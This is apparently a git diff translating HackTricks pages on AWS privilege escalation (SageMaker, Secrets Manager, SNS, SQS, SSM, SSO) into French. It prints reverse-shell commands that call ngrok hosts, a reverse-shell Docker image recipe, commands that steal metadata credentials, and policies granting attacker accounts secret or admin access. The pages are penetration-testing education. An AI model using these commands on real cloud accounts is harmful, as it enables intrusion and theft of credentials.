diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 890686262..4c3091a56 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -4,70 +4,62 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Start creating a noteboook with the IAM Role to access attached to it:
+### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
 
+Commencez à créer un notebook avec le rôle IAM auquel il est attaché :
 ```bash
 aws sagemaker create-notebook-instance --notebook-instance-name example \
-    --instance-type ml.t2.medium \
-    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
 ```
-
-The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready:
-
+La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de la nouvelle instance de notebook créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pouvons utiliser pour accéder à l'instance de notebook une fois qu'elle est prête :
 ```bash
 aws sagemaker create-presigned-notebook-instance-url \
-    --notebook-instance-name <name>
+--notebook-instance-name <name>
 ```
+Naviguez vers l'URL avec le navigateur et cliquez sur \`Open JupyterLab\` dans le coin supérieur droit, puis faites défiler vers le bas jusqu'à l'onglet “Launcher” et sous la section “Other”, cliquez sur le bouton “Terminal”.
 
-Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.
+Maintenant, il est possible d'accéder aux informations d'identification des métadonnées du rôle IAM.
 
-Now It's possible to access the metadata credentials of the IAM Role.
-
-**Potential Impact:** Privesc to the sagemaker service role specified.
+**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**.
-
+S'il y a des **notebooks Jupyter déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
 ```
-
-**Potential Impact:** Privesc to the sagemaker service role attached.
+**Impact potentiel :** Privesc au rôle de service sagemaker attaché.
 
 ### `sagemaker:CreateProcessingJob,iam:PassRole`
 
-An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**.
-
+Un attaquant avec ces permissions peut faire en sorte que **sagemaker exécute un processingjob** avec un rôle sagemaker attaché. L'attaquant peut indiquer la définition du conteneur qui sera exécuté dans une **instance de compte ECS gérée par AWS**, et **voler les identifiants du rôle IAM attaché**.
 ```bash
 # I uploaded a python docker image to the ECR
 aws sagemaker create-processing-job \
-    --processing-job-name privescjob \
-    --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
-    --app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
-    --role-arn <sagemaker-arn-role>
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
+--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
+--role-arn <sagemaker-arn-role>
 
 # In my tests it took 10min to receive the shell
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
 ```
-
-**Potential Impact:** Privesc to the sagemaker service role specified.
+**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.
 
 ### `sagemaker:CreateTrainingJob`, `iam:PassRole`
 
-An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role.
+Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.
 
 > [!WARNING]
-> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).
+> Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement).
 >
 > ```bash
-> # Create docker image
+> # Créer l'image docker
 > mkdir /tmp/rev
-> ## Note that the trainning job is going to call an executable called "train"
-> ## That's why I'm putting the rev shell in /bin/train
-> ## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
+> ## Notez que le job d'entraînement va appeler un exécutable appelé "train"
+> ## C'est pourquoi je mets le rev shell dans /bin/train
+> ## Définissez les valeurs de <YOUR-IP-OR-DOMAIN> et <YOUR-PORT>
 > cat > /tmp/rev/Dockerfile <<EOF
 > FROM ubuntu
 > RUN apt update && apt install -y ncat curl
@@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn
 > cd /tmp/rev
 > sudo docker build . -t reverseshell
 >
-> # Upload it to ECR
+> # Téléchargez-le sur ECR
 > sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
 > sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
 > sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
 > ```
-
 ```bash
 # Create trainning job with the docker image created
 aws sagemaker create-training-job \
-    --training-job-name privescjob \
-    --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
-    --algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
-    --role-arn <role-arn> \
-    --output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
-    --stopping-condition '{"MaxRuntimeInSeconds": 600}'
+--training-job-name privescjob \
+--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
+--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
+--role-arn <role-arn> \
+--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
+--stopping-condition '{"MaxRuntimeInSeconds": 600}'
 
 #To get the creds
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
 ```
-
-**Potential Impact:** Privesc to the sagemaker service role specified.
+**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.
 
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
-An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\
-&#xNAN;_&#x49; haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._
+Un attaquant avec ces permissions pourra (potentiellement) créer un **travail d'entraînement d'hyperparamètres**, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**.\
+&#xNAN;_&#x49; n'ai pas exploité en raison du manque de temps, mais cela ressemble aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._
 
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index bdc01433b..cc34314b7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-For more info about secrets manager check:
+Pour plus d'informations sur le gestionnaire de secrets, consultez :
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,44 +12,34 @@ For more info about secrets manager check:
 
 ### `secretsmanager:GetSecretValue`
 
-An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.
-
+Un attaquant ayant cette autorisation peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
-
-**Potential Impact:** Access high sensitive data inside AWS secrets manager service.
+**Impact potentiel :** Accéder à des données hautement sensibles dans le service AWS Secrets Manager.
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
-
+Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page d'énumération KMS](../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
 aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
 ```
-
 policy.json:
-
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<attackers_account>:root"
-      },
-      "Action": "secretsmanager:GetSecretValue",
-      "Resource": "*"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<attackers_account>:root"
+},
+"Action": "secretsmanager:GetSecretValue",
+"Resource": "*"
+}
+]
 }
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index 699bb58cf..fe9d00184 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -4,7 +4,7 @@
 
 ## SNS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,36 +12,26 @@ For more information check:
 
 ### `sns:Publish`
 
-An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
+Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
+**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources.
 
 ### `sns:Subscribe`
 
-An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
-
+Un attaquant pourrait s'abonner à un sujet SNS, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications s'appuyant sur le sujet.
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 ```
-
-**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
+**Impact potentiel** : Accès non autorisé aux messages (informations sensibles), interruption de service pour les applications dépendant du sujet affecté.
 
 ### `sns:AddPermission`
 
-An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.
-
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement des autorisations supplémentaires.
 ```css
 aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
 ```
-
-**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
+**Impact potentiel** : Accès non autorisé au sujet, exposition des messages ou manipulation du sujet par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le sujet.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index 384ed8430..931f124a4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -4,7 +4,7 @@
 
 ## SQS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
@@ -12,39 +12,29 @@ For more information check:
 
 ### `sqs:AddPermission`
 
-An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
-
+Un attaquant pourrait utiliser cette permission pour accorder à des utilisateurs ou services non autorisés l'accès à une file d'attente SQS en créant de nouvelles politiques ou en modifiant des politiques existantes. Cela pourrait entraîner un accès non autorisé aux messages dans la file d'attente ou une manipulation de la file d'attente par des entités non autorisées.
 ```bash
 cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
 ```
-
-**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
+**Impact potentiel** : Accès non autorisé à la file d'attente, exposition de messages ou manipulation de la file d'attente par des utilisateurs ou services non autorisés.
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
-An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
+Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources.
 ```bash
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>
 ```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
+**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources.
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
-An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
-
+Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
 ```bash
 aws sqs receive-message --queue-url <value>
 aws sqs delete-message --queue-url <value> --receipt-handle <value>
 aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
 ```
-
-**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
+**Impact potentiel** : Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index c4067e2ca..c145f96ac 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -4,7 +4,7 @@
 
 ## SSM
 
-For more info about SSM check:
+Pour plus d'informations sur SSM, consultez :
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,8 +12,7 @@ For more info about SSM check:
 
 ### `ssm:SendCommand`
 
-An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.
-
+Un attaquant ayant la permission **`ssm:SendCommand`** peut **exécuter des commandes dans des instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active
 
 # Send rev shell command
 aws ssm send-command --instance-ids "$INSTANCE_ID" \
-   --document-name "AWS-RunShellScript" --output text \
-   --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
 ```
-
-In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with:
-
+Dans le cas où vous utilisez cette technique pour élever les privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
 ```bash
 # If you are in the machine you can capture the reverseshel inside of it
 nc -lvnp 4444 #Inside the EC2 instance
 aws ssm send-command --instance-ids "$INSTANCE_ID" \
-   --document-name "AWS-RunShellScript" --output text \
-   --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
 ```
-
-**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
+**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
 
 ### `ssm:StartSession`
 
-An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.
-
+Un attaquant ayant la permission **`ssm:StartSession`** peut **démarrer une session similaire à SSH dans les instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active
 # Send rev shell command
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-
 > [!CAUTION]
-> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+> Pour commencer une session, vous devez avoir le **SessionManagerPlugin** installé : [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
-**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
+**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
 
-#### Privesc to ECS
-
-When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
-According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
-Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:
+#### Privesc à ECS
 
+Lorsque les **tâches ECS** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs ayant suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\
+Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_” et le conteneur cible avec SSM Session Manager. (Le plugin SSM Session Manager est nécessaire pour que cela fonctionne)\
+Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des tâches ECS** avec cette option activée en exécutant simplement :
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
-
 ![](<../../../images/image (185).png>)
 
-**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
+**Impact potentiel :** Privesc direct aux rôles `ECS`IAM attachés aux tâches en cours avec `ExecuteCommand` activé.
 
 ### `ssm:ResumeSession`
 
-An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it.
-
+Un attaquant avec la permission **`ssm:ResumeSession`** peut re-**démarrer une session similaire à SSH dans des instances** exécutant l'agent Amazon SSM avec un état de session SSM **déconnecté** et **compromettre le rôle IAM** s'exécutant à l'intérieur.
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
 
 # Get resume data (you will probably need to do something else with this info to connect)
 aws ssm resume-session \
-    --session-id Mary-Major-07a16060613c408b5
+--session-id Mary-Major-07a16060613c408b5
 ```
-
-**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.
+**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.
 
 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
 
-An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys.
-
+Un attaquant avec les permissions mentionnées sera capable de lister les **paramètres SSM** et **de les lire en texte clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des clés API.
 ```bash
 aws ssm describe-parameters
 # Suppose that you found a parameter called "id_rsa"
 aws ssm get-parameters --names id_rsa --with-decryption
 aws ssm get-parameter --name id_rsa --with-decryption
 ```
-
-**Potential Impact:** Find sensitive information inside the parameters.
+**Impact potentiel :** Trouver des informations sensibles à l'intérieur des paramètres.
 
 ### `ssm:ListCommands`
 
-An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them.
-
+Un attaquant avec cette permission peut lister toutes les **commandes** envoyées et espérer trouver des **informations sensibles** à leur sujet.
 ```
 aws ssm list-commands
 ```
-
-**Potential Impact:** Find sensitive information inside the command lines.
+**Impact potentiel :** Trouver des informations sensibles dans les lignes de commande.
 
 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
 
-An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it.
-
+Un attaquant avec ces autorisations peut lister toutes les **commandes** envoyées et **lire la sortie** générée en espérant trouver des **informations sensibles** dessus.
 ```bash
 # You can use any of both options to get the command-id and instance id
 aws ssm list-commands
@@ -118,19 +103,14 @@ aws ssm list-command-invocations
 
 aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
 ```
-
-**Potential Impact:** Find sensitive information inside the output of the command lines.
+**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande.
 
 ### Codebuild
 
-You can also use SSM to get inside a codebuild project being built:
+Vous pouvez également utiliser SSM pour accéder à un projet codebuild en cours de construction :
 
 {{#ref}}
 aws-codebuild-privesc.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index 0fb4e10a1..b99bf05ab 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -4,58 +4,53 @@
 
 ## AWS Identity Center / AWS SSO
 
-For more information about AWS Identity Center / AWS SSO check:
+Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\
-> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\
-> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+> Notez qu'en **default**, seuls les **utilisateurs** ayant des permissions **du** **compte de gestion** pourront accéder et **contrôler le Centre d'identité IAM**.\
+> Les utilisateurs d'autres comptes ne peuvent le permettre que si le compte est un **Administrateur délégué.**\
+> [Consultez la documentation pour plus d'infos.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
-### ~~Reset Password~~
+### ~~Réinitialiser le mot de passe~~
 
-An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email.
+Un moyen facile d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer qu'un email à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'email de l'utilisateur.
 
 ### `identitystore:CreateGroupMembership`
 
-With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has.
-
+Avec cette permission, il est possible de placer un utilisateur dans un groupe afin qu'il hérite de toutes les permissions que le groupe possède.
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
-
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
-
+Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
 
 # Content of /tmp/policy.yaml
 {
-	"Version": "2012-10-17",
-	"Statement": [
-		{
-			"Sid": "Statement1",
-			"Effect": "Allow",
-			"Action": ["*"],
-			"Resource": ["*"]
-		}
-	]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Statement1",
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
 }
 
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
-
+Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-a
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control.
+Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.
 
 > [!WARNING]
-> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected.
-
+> Pour abuser de ces permissions dans ce cas, vous devez connaître le **nom d'une politique gérée par le client qui se trouve dans TOUS les comptes** qui vont être affectés.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
